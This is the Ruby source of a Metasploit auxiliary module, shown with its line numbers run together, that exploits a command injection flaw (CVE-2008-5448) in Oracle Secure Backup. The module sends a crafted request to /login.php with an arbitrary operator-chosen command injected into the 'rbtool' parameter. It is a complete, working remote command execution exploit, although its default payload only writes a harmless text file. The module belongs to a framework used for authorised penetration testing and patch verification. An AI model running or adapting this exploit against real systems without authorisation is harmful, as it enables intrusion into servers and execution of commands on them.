Path: blob/master/modules/auxiliary/admin/oracle/osb_execqr.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',13'Description' => %q{14This module exploits a command injection vulnerability in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.15},16'Author' => [ 'MC' ],17'License' => MSF_LICENSE,18'References' => [19[ 'CVE', '2008-5448' ],20[ 'OSVDB', '51342' ],21[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],22[ 'ZDI', '09-003' ],23],24'DisclosureDate' => '2009-01-14',25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [IOC_IN_LOGS],28'Reliability' => []29}30)31)3233register_options(34[35Opt::RPORT(443),36OptString.new('CMD', [ false, 'The command to execute.', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt' ]),37OptBool.new('SSL', [true, 'Use SSL', true]),38]39)40end4142def run43r = Rex::Text.rand_text_english(2)4445cmd = datastore['CMD']4647uri = "/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool="4849req = uri + Rex::Text.uri_encode(cmd)5051print_status("Sending command: #{datastore['CMD']}...")5253send_request_raw({ 'uri' => req }, 5)5455print_status('Done.')56end57end585960